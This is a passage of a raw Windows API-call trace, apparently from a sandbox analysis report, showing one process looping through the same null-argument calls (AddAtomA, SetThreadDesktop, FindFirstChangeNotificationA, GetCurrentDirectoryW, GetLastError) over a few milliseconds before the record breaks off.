0x0 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.680] GetLastError () returned 0x3 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.680] GetLastError () returned 0x3 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.680] GetLastError () returned 0x3 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.680] GetLastError () returned 0x3 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] AddAtomA (lpString=0x0) returned 0x0 [0125.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.680] GetLastError () returned 0x3 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.681] GetLastError () returned 0x3 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.681] GetLastError () returned 0x3 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.681] GetLastError () returned 0x3 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.681] GetLastError () returned 0x3 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.681] GetLastError () returned 0x3 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.681] GetLastError () returned 0x3 [0125.681] AddAtomA (lpString=0x0) returned 0x0 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.682] GetLastError () returned 0x3 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.682] GetLastError () returned 0x3 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.682] GetLastError () returned 0x3 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.682] GetLastError () returned 0x3 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.682] GetLastError () returned 0x3 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] AddAtomA (lpString=0x0) returned 0x0 [0125.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.682] GetLastError () returned 0x3 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.683] GetLastError () returned 0x3 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.683] GetLastError () returned 0x3 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.683] GetLastError () returned 0x3 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.683] GetLastError () returned 0x3 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.683] GetLastError () returned 0x3 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] AddAtomA (lpString=0x0) returned 0x0 [0125.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.684] GetLastError () returned 0x3 [0125.684] AddAtomA (lpString=0x0) returned 0x0 [0125.684] AddAtomA (lpString=0x0) returned 0x0 [0125.684] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.684] GetLastError () returned 0x3 [0125.684] AddAtomA (lpString=0x0) returned 0x0 [0125.684] AddAtomA (lpString=0x0) returned 0x0 [0125.684] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.685] GetLastError () returned 0x3 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.685] GetLastError () returned 0x3 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.685] GetLastError () returned 0x3 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.685] GetLastError () returned 0x3 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.685] GetLastError () returned 0x3 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.685] GetLastError () returned 0x3 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] AddAtomA (lpString=0x0) returned 0x0 [0125.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.686] GetLastError () returned 0x3 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.686] GetLastError () returned 0x3 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.686] GetLastError () returned 0x3 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.686] GetLastError () returned 0x3 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.686] GetLastError () returned 0x3 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] AddAtomA (lpString=0x0) returned 0x0 [0125.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.686] GetLastError () returned 0x3 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.687] GetLastError () returned 0x3 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.687] GetLastError () returned 0x3 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.687] GetLastError () returned 0x3 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.687] GetLastError () returned 0x3 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.687] GetLastError () returned 0x3 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] AddAtomA (lpString=0x0) returned 0x0 [0125.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.688] GetLastError () returned 0x3 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.688] GetLastError () returned 0x3 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.688] GetLastError () returned 0x3 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.688] GetLastError () returned 0x3 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.688] GetLastError () returned 0x3 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.688] GetLastError () returned 0x3 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.688] AddAtomA (lpString=0x0) returned 0x0 [0125.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.689] GetLastError () returned 0x3 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.689] GetLastError () returned 0x3 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.689] GetLastError () returned 0x3 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.689] GetLastError () returned 0x3 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.689] GetLastError () returned 0x3 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] AddAtomA (lpString=0x0) returned 0x0 [0125.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.690] GetLastError () returned 0x3 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.690] GetLastError () returned 0x3 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.690] GetLastError () returned 0x3 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.690] GetLastError () returned 0x3 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.690] GetLastError () returned 0x3 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.690] GetLastError () returned 0x3 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] AddAtomA (lpString=0x0) returned 0x0 [0125.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.691] GetLastError () returned 0x3 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.691] GetLastError () returned 0x3 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.691] GetLastError () returned 0x3 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.691] GetLastError () returned 0x3 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.691] GetLastError () returned 0x3 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.691] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.691] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.691] GetLastError () returned 0x3 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] AddAtomA (lpString=0x0) returned 0x0 [0125.691] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.692] FindFirstChangeNotificationA 